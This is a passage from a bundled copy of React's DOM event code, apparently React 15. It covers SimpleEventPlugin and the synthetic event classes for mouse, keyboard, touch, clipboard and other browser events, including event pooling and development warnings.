onTransitionEnd: true }),\n      captured: keyOf({ onTransitionEndCapture: true })\n    }\n  },\n  volumeChange: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onVolumeChange: true }),\n      captured: keyOf({ onVolumeChangeCapture: true })\n    }\n  },\n  waiting: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onWaiting: true }),\n      captured: keyOf({ onWaitingCapture: true })\n    }\n  },\n  wheel: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onWheel: true }),\n      captured: keyOf({ onWheelCapture: true })\n    }\n  }\n};\n\nvar topLevelEventsToDispatchConfig = {\n  topAbort: eventTypes.abort,\n  topAnimationEnd: eventTypes.animationEnd,\n  topAnimationIteration: eventTypes.animationIteration,\n  topAnimationStart: eventTypes.animationStart,\n  topBlur: eventTypes.blur,\n  topCanPlay: eventTypes.canPlay,\n  topCanPlayThrough: eventTypes.canPlayThrough,\n  topClick: eventTypes.click,\n  topContextMenu: eventTypes.contextMenu,\n  topCopy: eventTypes.copy,\n  topCut: eventTypes.cut,\n  topDoubleClick: eventTypes.doubleClick,\n  topDrag: eventTypes.drag,\n  topDragEnd: eventTypes.dragEnd,\n  topDragEnter: eventTypes.dragEnter,\n  topDragExit: eventTypes.dragExit,\n  topDragLeave: eventTypes.dragLeave,\n  topDragOver: eventTypes.dragOver,\n  topDragStart: eventTypes.dragStart,\n  topDrop: eventTypes.drop,\n  topDurationChange: eventTypes.durationChange,\n  topEmptied: eventTypes.emptied,\n  topEncrypted: eventTypes.encrypted,\n  topEnded: eventTypes.ended,\n  topError: eventTypes.error,\n  topFocus: eventTypes.focus,\n  topInput: eventTypes.input,\n  topInvalid: eventTypes.invalid,\n  topKeyDown: eventTypes.keyDown,\n  topKeyPress: eventTypes.keyPress,\n  topKeyUp: eventTypes.keyUp,\n  topLoad: eventTypes.load,\n  topLoadedData: eventTypes.loadedData,\n  topLoadedMetadata: eventTypes.loadedMetadata,\n  topLoadStart: eventTypes.loadStart,\n  topMouseDown: eventTypes.mouseDown,\n  topMouseMove: eventTypes.mouseMove,\n  topMouseOut: eventTypes.mouseOut,\n  topMouseOver: eventTypes.mouseOver,\n  topMouseUp: eventTypes.mouseUp,\n  topPaste: eventTypes.paste,\n  topPause: eventTypes.pause,\n  topPlay: eventTypes.play,\n  topPlaying: eventTypes.playing,\n  topProgress: eventTypes.progress,\n  topRateChange: eventTypes.rateChange,\n  topReset: eventTypes.reset,\n  topScroll: eventTypes.scroll,\n  topSeeked: eventTypes.seeked,\n  topSeeking: eventTypes.seeking,\n  topStalled: eventTypes.stalled,\n  topSubmit: eventTypes.submit,\n  topSuspend: eventTypes.suspend,\n  topTimeUpdate: eventTypes.timeUpdate,\n  topTouchCancel: eventTypes.touchCancel,\n  topTouchEnd: eventTypes.touchEnd,\n  topTouchMove: eventTypes.touchMove,\n  topTouchStart: eventTypes.touchStart,\n  topTransitionEnd: eventTypes.transitionEnd,\n  topVolumeChange: eventTypes.volumeChange,\n  topWaiting: eventTypes.waiting,\n  topWheel: eventTypes.wheel\n};\n\nfor (var type in topLevelEventsToDispatchConfig) {\n  topLevelEventsToDispatchConfig[type].dependencies = [type];\n}\n\nvar ON_CLICK_KEY = keyOf({ onClick: null });\nvar onClickListeners = {};\n\nvar SimpleEventPlugin = {\n\n  eventTypes: eventTypes,\n\n  extractEvents: function (topLevelType, targetInst, nativeEvent, nativeEventTarget) {\n    var dispatchConfig = topLevelEventsToDispatchConfig[topLevelType];\n    if (!dispatchConfig) {\n      return null;\n    }\n    var EventConstructor;\n    switch (topLevelType) {\n      case topLevelTypes.topAbort:\n      case topLevelTypes.topCanPlay:\n      case topLevelTypes.topCanPlayThrough:\n      case topLevelTypes.topDurationChange:\n      case topLevelTypes.topEmptied:\n      case topLevelTypes.topEncrypted:\n      case topLevelTypes.topEnded:\n      case topLevelTypes.topError:\n      case topLevelTypes.topInput:\n      case topLevelTypes.topInvalid:\n      case topLevelTypes.topLoad:\n      case topLevelTypes.topLoadedData:\n      case topLevelTypes.topLoadedMetadata:\n      case topLevelTypes.topLoadStart:\n      case topLevelTypes.topPause:\n      case topLevelTypes.topPlay:\n      case topLevelTypes.topPlaying:\n      case topLevelTypes.topProgress:\n      case topLevelTypes.topRateChange:\n      case topLevelTypes.topReset:\n      case topLevelTypes.topSeeked:\n      case topLevelTypes.topSeeking:\n      case topLevelTypes.topStalled:\n      case topLevelTypes.topSubmit:\n      case topLevelTypes.topSuspend:\n      case topLevelTypes.topTimeUpdate:\n      case topLevelTypes.topVolumeChange:\n      case topLevelTypes.topWaiting:\n        // HTML Events\n        // @see http://www.w3.org/TR/html5/index.html#events-0\n        EventConstructor = SyntheticEvent;\n        break;\n      case topLevelTypes.topKeyPress:\n        // Firefox creates a keypress event for function keys too. This removes\n        // the unwanted keypress events. Enter is however both printable and\n        // non-printable. One would expect Tab to be as well (but it isn't).\n        if (getEventCharCode(nativeEvent) === 0) {\n          return null;\n        }\n      /* falls through */\n      case topLevelTypes.topKeyDown:\n      case topLevelTypes.topKeyUp:\n        EventConstructor = SyntheticKeyboardEvent;\n        break;\n      case topLevelTypes.topBlur:\n      case topLevelTypes.topFocus:\n        EventConstructor = SyntheticFocusEvent;\n        break;\n      case topLevelTypes.topClick:\n        // Firefox creates a click event on right mouse clicks. This removes the\n        // unwanted click events.\n        if (nativeEvent.button === 2) {\n          return null;\n        }\n      /* falls through */\n      case topLevelTypes.topContextMenu:\n      case topLevelTypes.topDoubleClick:\n      case topLevelTypes.topMouseDown:\n      case topLevelTypes.topMouseMove:\n      case topLevelTypes.topMouseOut:\n      case topLevelTypes.topMouseOver:\n      case topLevelTypes.topMouseUp:\n        EventConstructor = SyntheticMouseEvent;\n        break;\n      case topLevelTypes.topDrag:\n      case topLevelTypes.topDragEnd:\n      case topLevelTypes.topDragEnter:\n      case topLevelTypes.topDragExit:\n      case topLevelTypes.topDragLeave:\n      case topLevelTypes.topDragOver:\n      case topLevelTypes.topDragStart:\n      case topLevelTypes.topDrop:\n        EventConstructor = SyntheticDragEvent;\n        break;\n      case topLevelTypes.topTouchCancel:\n      case topLevelTypes.topTouchEnd:\n      case topLevelTypes.topTouchMove:\n      case topLevelTypes.topTouchStart:\n        EventConstructor = SyntheticTouchEvent;\n        break;\n      case topLevelTypes.topAnimationEnd:\n      case topLevelTypes.topAnimationIteration:\n      case topLevelTypes.topAnimationStart:\n        EventConstructor = SyntheticAnimationEvent;\n        break;\n      case topLevelTypes.topTransitionEnd:\n        EventConstructor = SyntheticTransitionEvent;\n        break;\n      case topLevelTypes.topScroll:\n        EventConstructor = SyntheticUIEvent;\n        break;\n      case topLevelTypes.topWheel:\n        EventConstructor = SyntheticWheelEvent;\n        break;\n      case topLevelTypes.topCopy:\n      case topLevelTypes.topCut:\n      case topLevelTypes.topPaste:\n        EventConstructor = SyntheticClipboardEvent;\n        break;\n    }\n    !EventConstructor ? \"development\" !== 'production' ? invariant(false, 'SimpleEventPlugin: Unhandled event type, `%s`.', topLevelType) : invariant(false) : void 0;\n    var event = EventConstructor.getPooled(dispatchConfig, targetInst, nativeEvent, nativeEventTarget);\n    EventPropagators.accumulateTwoPhaseDispatches(event);\n    return event;\n  },\n\n  didPutListener: function (inst, registrationName, listener) {\n    // Mobile Safari does not fire properly bubble click events on\n    // non-interactive elements, which means delegated click listeners do not\n    // fire. The workaround for this bug involves attaching an empty click\n    // listener on the target node.\n    if (registrationName === ON_CLICK_KEY) {\n      var id = inst._rootNodeID;\n      var node = ReactDOMComponentTree.getNodeFromInstance(inst);\n      if (!onClickListeners[id]) {\n        onClickListeners[id] = EventListener.listen(node, 'click', emptyFunction);\n      }\n    }\n  },\n\n  willDeleteListener: function (inst, registrationName) {\n    if (registrationName === ON_CLICK_KEY) {\n      var id = inst._rootNodeID;\n      onClickListeners[id].remove();\n      delete onClickListeners[id];\n    }\n  }\n\n};\n\nmodule.exports = SimpleEventPlugin;\n},{\"100\":100,\"102\":102,\"103\":103,\"104\":104,\"106\":106,\"107\":107,\"108\":108,\"109\":109,\"110\":110,\"111\":111,\"123\":123,\"143\":143,\"150\":150,\"158\":158,\"16\":16,\"162\":162,\"20\":20,\"40\":40,\"99\":99}],99:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticAnimationEvent\n */\n\n'use strict';\n\nvar SyntheticEvent = _dereq_(103);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/css3-animations/#AnimationEvent-interface\n * @see https://developer.mozilla.org/en-US/docs/Web/API/AnimationEvent\n */\nvar AnimationEventInterface = {\n  animationName: null,\n  elapsedTime: null,\n  pseudoElement: null\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticEvent}\n */\nfunction SyntheticAnimationEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticEvent.augmentClass(SyntheticAnimationEvent, AnimationEventInterface);\n\nmodule.exports = SyntheticAnimationEvent;\n},{\"103\":103}],100:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticClipboardEvent\n */\n\n'use strict';\n\nvar SyntheticEvent = _dereq_(103);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/clipboard-apis/\n */\nvar ClipboardEventInterface = {\n  clipboardData: function (event) {\n    return 'clipboardData' in event ? event.clipboardData : window.clipboardData;\n  }\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticUIEvent}\n */\nfunction SyntheticClipboardEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticEvent.augmentClass(SyntheticClipboardEvent, ClipboardEventInterface);\n\nmodule.exports = SyntheticClipboardEvent;\n},{\"103\":103}],101:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticCompositionEvent\n */\n\n'use strict';\n\nvar SyntheticEvent = _dereq_(103);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/DOM-Level-3-Events/#events-compositionevents\n */\nvar CompositionEventInterface = {\n  data: null\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticUIEvent}\n */\nfunction SyntheticCompositionEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticEvent.augmentClass(SyntheticCompositionEvent, CompositionEventInterface);\n\nmodule.exports = SyntheticCompositionEvent;\n},{\"103\":103}],102:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticDragEvent\n */\n\n'use strict';\n\nvar SyntheticMouseEvent = _dereq_(107);\n\n/**\n * @interface DragEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nvar DragEventInterface = {\n  dataTransfer: null\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticUIEvent}\n */\nfunction SyntheticDragEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticMouseEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticMouseEvent.augmentClass(SyntheticDragEvent, DragEventInterface);\n\nmodule.exports = SyntheticDragEvent;\n},{\"107\":107}],103:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticEvent\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar PooledClass = _dereq_(25);\n\nvar emptyFunction = _dereq_(150);\nvar warning = _dereq_(168);\n\nvar didWarnForAddedNewProperty = false;\nvar isProxySupported = typeof Proxy === 'function';\n\nvar shouldBeReleasedProperties = ['dispatchConfig', '_targetInst', 'nativeEvent', 'isDefaultPrevented', 'isPropagationStopped', '_dispatchListeners', '_dispatchInstances'];\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nvar EventInterface = {\n  type: null,\n  target: null,\n  // currentTarget is set when dispatching; no use in copying it here\n  currentTarget: emptyFunction.thatReturnsNull,\n  eventPhase: null,\n  bubbles: null,\n  cancelable: null,\n  timeStamp: function (event) {\n    return event.timeStamp || Date.now();\n  },\n  defaultPrevented: null,\n  isTrusted: null\n};\n\n/**\n * Synthetic events are dispatched by event plugins, typically in response to a\n * top-level event delegation handler.\n *\n * These systems should generally use pooling to reduce the frequency of garbage\n * collection. The system should check `isPersistent` to determine whether the\n * event should be released into the pool after being dispatched. Users that\n * need a persisted event should invoke `persist`.\n *\n * Synthetic events (and subclasses) implement the DOM Level 3 Events API by\n * normalizing browser quirks. Subclasses do not necessarily have to implement a\n * DOM interface; custom application-specific events can also subclass this.\n *\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {*} targetInst Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @param {DOMEventTarget} nativeEventTarget Target node.\n */\nfunction SyntheticEvent(dispatchConfig, targetInst, nativeEvent, nativeEventTarget) {\n  if (\"development\" !== 'production') {\n    // these have a getter/setter for warnings\n    delete this.nativeEvent;\n    delete this.preventDefault;\n    delete this.stopPropagation;\n  }\n\n  this.dispatchConfig = dispatchConfig;\n  this._targetInst = targetInst;\n  this.nativeEvent = nativeEvent;\n\n  var Interface = this.constructor.Interface;\n  for (var propName in Interface) {\n    if (!Interface.hasOwnProperty(propName)) {\n      continue;\n    }\n    if (\"development\" !== 'production') {\n      delete this[propName]; // this has a getter/setter for warnings\n    }\n    var normalize = Interface[propName];\n    if (normalize) {\n      this[propName] = normalize(nativeEvent);\n    } else {\n      if (propName === 'target') {\n        this.target = nativeEventTarget;\n      } else {\n        this[propName] = nativeEvent[propName];\n      }\n    }\n  }\n\n  var defaultPrevented = nativeEvent.defaultPrevented != null ? nativeEvent.defaultPrevented : nativeEvent.returnValue === false;\n  if (defaultPrevented) {\n    this.isDefaultPrevented = emptyFunction.thatReturnsTrue;\n  } else {\n    this.isDefaultPrevented = emptyFunction.thatReturnsFalse;\n  }\n  this.isPropagationStopped = emptyFunction.thatReturnsFalse;\n  return this;\n}\n\n_assign(SyntheticEvent.prototype, {\n\n  preventDefault: function () {\n    this.defaultPrevented = true;\n    var event = this.nativeEvent;\n    if (!event) {\n      return;\n    }\n\n    if (event.preventDefault) {\n      event.preventDefault();\n    } else {\n      event.returnValue = false;\n    }\n    this.isDefaultPrevented = emptyFunction.thatReturnsTrue;\n  },\n\n  stopPropagation: function () {\n    var event = this.nativeEvent;\n    if (!event) {\n      return;\n    }\n\n    if (event.stopPropagation) {\n      event.stopPropagation();\n    } else {\n      event.cancelBubble = true;\n    }\n    this.isPropagationStopped = emptyFunction.thatReturnsTrue;\n  },\n\n  /**\n   * We release all dispatched `SyntheticEvent`s after each event loop, adding\n   * them back into the pool. This allows a way to hold onto a reference that\n   * won't be added back into the pool.\n   */\n  persist: function () {\n    this.isPersistent = emptyFunction.thatReturnsTrue;\n  },\n\n  /**\n   * Checks if this event should be released back into the pool.\n   *\n   * @return {boolean} True if this should not be released, false otherwise.\n   */\n  isPersistent: emptyFunction.thatReturnsFalse,\n\n  /**\n   * `PooledClass` looks for `destructor` on each instance it releases.\n   */\n  destructor: function () {\n    var Interface = this.constructor.Interface;\n    for (var propName in Interface) {\n      if (\"development\" !== 'production') {\n        Object.defineProperty(this, propName, getPooledWarningPropertyDefinition(propName, Interface[propName]));\n      } else {\n        this[propName] = null;\n      }\n    }\n    for (var i = 0; i < shouldBeReleasedProperties.length; i++) {\n      this[shouldBeReleasedProperties[i]] = null;\n    }\n    if (\"development\" !== 'production') {\n      var noop = _dereq_(150);\n      Object.defineProperty(this, 'nativeEvent', getPooledWarningPropertyDefinition('nativeEvent', null));\n      Object.defineProperty(this, 'preventDefault', getPooledWarningPropertyDefinition('preventDefault', noop));\n      Object.defineProperty(this, 'stopPropagation', getPooledWarningPropertyDefinition('stopPropagation', noop));\n    }\n  }\n\n});\n\nSyntheticEvent.Interface = EventInterface;\n\nif (\"development\" !== 'production') {\n  if (isProxySupported) {\n    /*eslint-disable no-func-assign */\n    SyntheticEvent = new Proxy(SyntheticEvent, {\n      construct: function (target, args) {\n        return this.apply(target, Object.create(target.prototype), args);\n      },\n      apply: function (constructor, that, args) {\n        return new Proxy(constructor.apply(that, args), {\n          set: function (target, prop, value) {\n            if (prop !== 'isPersistent' && !target.constructor.Interface.hasOwnProperty(prop) && shouldBeReleasedProperties.indexOf(prop) === -1) {\n              \"development\" !== 'production' ? warning(didWarnForAddedNewProperty || target.isPersistent(), 'This synthetic event is reused for performance reasons. If you\\'re ' + 'seeing this, you\\'re adding a new property in the synthetic event object. ' + 'The property is never released. See ' + 'https://fb.me/react-event-pooling for more information.') : void 0;\n              didWarnForAddedNewProperty = true;\n            }\n            target[prop] = value;\n            return true;\n          }\n        });\n      }\n    });\n    /*eslint-enable no-func-assign */\n  }\n}\n/**\n * Helper to reduce boilerplate when creating subclasses.\n *\n * @param {function} Class\n * @param {?object} Interface\n */\nSyntheticEvent.augmentClass = function (Class, Interface) {\n  var Super = this;\n\n  var E = function () {};\n  E.prototype = Super.prototype;\n  var prototype = new E();\n\n  _assign(prototype, Class.prototype);\n  Class.prototype = prototype;\n  Class.prototype.constructor = Class;\n\n  Class.Interface = _assign({}, Super.Interface, Interface);\n  Class.augmentClass = Super.augmentClass;\n\n  PooledClass.addPoolingTo(Class, PooledClass.fourArgumentPooler);\n};\n\nPooledClass.addPoolingTo(SyntheticEvent, PooledClass.fourArgumentPooler);\n\nmodule.exports = SyntheticEvent;\n\n/**\n  * Helper to nullify syntheticEvent instance properties when destructing\n  *\n  * @param {object} SyntheticEvent\n  * @param {String} propName\n  * @return {object} defineProperty object\n  */\nfunction getPooledWarningPropertyDefinition(propName, getVal) {\n  var isFunction = typeof getVal === 'function';\n  return {\n    configurable: true,\n    set: set,\n    get: get\n  };\n\n  function set(val) {\n    var action = isFunction ? 'setting the method' : 'setting the property';\n    warn(action, 'This is effectively a no-op');\n    return val;\n  }\n\n  function get() {\n    var action = isFunction ? 'accessing the method' : 'accessing the property';\n    var result = isFunction ? 'This is a no-op function' : 'This is set to null';\n    warn(action, result);\n    return getVal;\n  }\n\n  function warn(action, result) {\n    var warningCondition = false;\n    \"development\" !== 'production' ? warning(warningCondition, 'This synthetic event is reused for performance reasons. If you\\'re seeing this, ' + 'you\\'re %s `%s` on a released/nullified synthetic event. %s. ' + 'If you must keep the original synthetic event around, use event.persist(). ' + 'See https://fb.me/react-event-pooling for more information.', action, propName, result) : void 0;\n  }\n}\n},{\"150\":150,\"168\":168,\"169\":169,\"25\":25}],104:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticFocusEvent\n */\n\n'use strict';\n\nvar SyntheticUIEvent = _dereq_(110);\n\n/**\n * @interface FocusEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nvar FocusEventInterface = {\n  relatedTarget: null\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticUIEvent}\n */\nfunction SyntheticFocusEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticUIEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticUIEvent.augmentClass(SyntheticFocusEvent, FocusEventInterface);\n\nmodule.exports = SyntheticFocusEvent;\n},{\"110\":110}],105:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticInputEvent\n */\n\n'use strict';\n\nvar SyntheticEvent = _dereq_(103);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/2013/WD-DOM-Level-3-Events-20131105\n *      /#events-inputevents\n */\nvar InputEventInterface = {\n  data: null\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticUIEvent}\n */\nfunction SyntheticInputEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticEvent.augmentClass(SyntheticInputEvent, InputEventInterface);\n\nmodule.exports = SyntheticInputEvent;\n},{\"103\":103}],106:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticKeyboardEvent\n */\n\n'use strict';\n\nvar SyntheticUIEvent = _dereq_(110);\n\nvar getEventCharCode = _dereq_(123);\nvar getEventKey = _dereq_(124);\nvar getEventModifierState = _dereq_(125);\n\n/**\n * @interface KeyboardEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nvar KeyboardEventInterface = {\n  key: getEventKey,\n  location: null,\n  ctrlKey: null,\n  shiftKey: null,\n  altKey: null,\n  metaKey: null,\n  repeat: null,\n  locale: null,\n  getModifierState: getEventModifierState,\n  // Legacy Interface\n  charCode: function (event) {\n    // `charCode` is the result of a KeyPress event and represents the value of\n    // the actual printable character.\n\n    // KeyPress is deprecated, but its replacement is not yet final and not\n    // implemented in any major browser. Only KeyPress has charCode.\n    if (event.type === 'keypress') {\n      return getEventCharCode(event);\n    }\n    return 0;\n  },\n  keyCode: function (event) {\n    // `keyCode` is the result of a KeyDown/Up event and represents the value of\n    // physical keyboard key.\n\n    // The actual meaning of the value depends on the users' keyboard layout\n    // which cannot be detected. Assuming that it is a US keyboard layout\n    // provides a surprisingly accurate mapping for US and European users.\n    // Due to this, it is left to the user to implement at this time.\n    if (event.type === 'keydown' || event.type === 'keyup') {\n      return event.keyCode;\n    }\n    return 0;\n  },\n  which: function (event) {\n    // `which` is an alias for either `keyCode` or `charCode` depending on the\n    // type of the event.\n    if (event.type === 'keypress') {\n      return getEventCharCode(event);\n    }\n    if (event.type === 'keydown' || event.type === 'keyup') {\n      return event.keyCode;\n    }\n    return 0;\n  }\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticUIEvent}\n */\nfunction SyntheticKeyboardEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticUIEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticUIEvent.augmentClass(SyntheticKeyboardEvent, KeyboardEventInterface);\n\nmodule.exports = SyntheticKeyboardEvent;\n},{\"110\":110,\"123\":123,\"124\":124,\"125\":125}],107:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticMouseEvent\n */\n\n'use strict';\n\nvar SyntheticUIEvent = _dereq_(110);\nvar ViewportMetrics = _dereq_(113);\n\nvar getEventModifierState = _dereq_(125);\n\n/**\n * @interface MouseEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nvar MouseEventInterface = {\n  screenX: null,\n  screenY: null,\n  clientX: null,\n  clientY: null,\n  ctrlKey: null,\n  shiftKey: null,\n  altKey: null,\n  metaKey: null,\n  getModifierState: getEventModifierState,\n  button: function (event) {\n    // Webkit, Firefox, IE9+\n    // which:  1 2 3\n    // button: 0 1 2 (standard)\n    var button = event.button;\n    if ('which' in event) {\n      return button;\n    }\n    // IE<9\n    // which:  undefined\n    // button: 0 0 0\n    // button: 1 4 2 (onmouseup)\n    return button === 2 ? 2 : button === 4 ? 1 : 0;\n  },\n  buttons: null,\n  relatedTarget: function (event) {\n    return event.relatedTarget || (event.fromElement === event.srcElement ? event.toElement : event.fromElement);\n  },\n  // \"Proprietary\" Interface.\n  pageX: function (event) {\n    return 'pageX' in event ? event.pageX : event.clientX + ViewportMetrics.currentScrollLeft;\n  },\n  pageY: function (event) {\n    return 'pageY' in event ? event.pageY : event.clientY + ViewportMetrics.currentScrollTop;\n  }\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticUIEvent}\n */\nfunction SyntheticMouseEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticUIEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticUIEvent.augmentClass(SyntheticMouseEvent, MouseEventInterface);\n\nmodule.exports = SyntheticMouseEvent;\n},{\"110\":110,\"113\":113,\"125\":125}],108:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticTouchEvent\n */\n\n'use strict';\n\nvar SyntheticUIEvent = _dereq_(110);\n\nvar getEventModifierState = _dereq_(125);\n\n/**\n * @interface TouchEvent\n * @see http://www.w3.org/TR/touch-events/\n */\nvar TouchEventInterface = {\n  touches: null,\n  targetTouches: null,\n  changedTouches: null,\n  altKey: null,\n  metaKey: null,\n  ctrlKey: null,\n  shiftKey: null,\n  getModifierState: getEventModifierState\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticUIEvent}\n */\nfunction SyntheticTouchEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticUIEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticUIEvent.augmentClass(SyntheticTouchEvent, TouchEventInterface);\n\nmodule.exports = SyntheticTouchEvent;\n},{\"110\":110,\"125\":125}],109:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticTransitionEvent\n */\n\n'use strict';\n\nvar SyntheticEvent = _dereq_(103);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/2009/WD-css3-transitions-20090320/#transition-events-\n * @see https://developer.mozilla.org/en-US/docs/Web/API/TransitionEvent\n */\nvar TransitionEventInterface = {\n  propertyName: null,\n  elapsedTime: null,\n  pseudoElement: null\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticEvent}\n */\nfunction SyntheticTransitionEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticEvent.augmentClass(SyntheticTransitionEvent, TransitionEventInterface);\n\nmodule.exports = SyntheticTransitionEvent;\n},{\"103\":103}],110:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticUIEvent\n */\n\n'use strict';\n\nvar SyntheticEvent = _dereq_(103);\n\nvar getEventTarget = 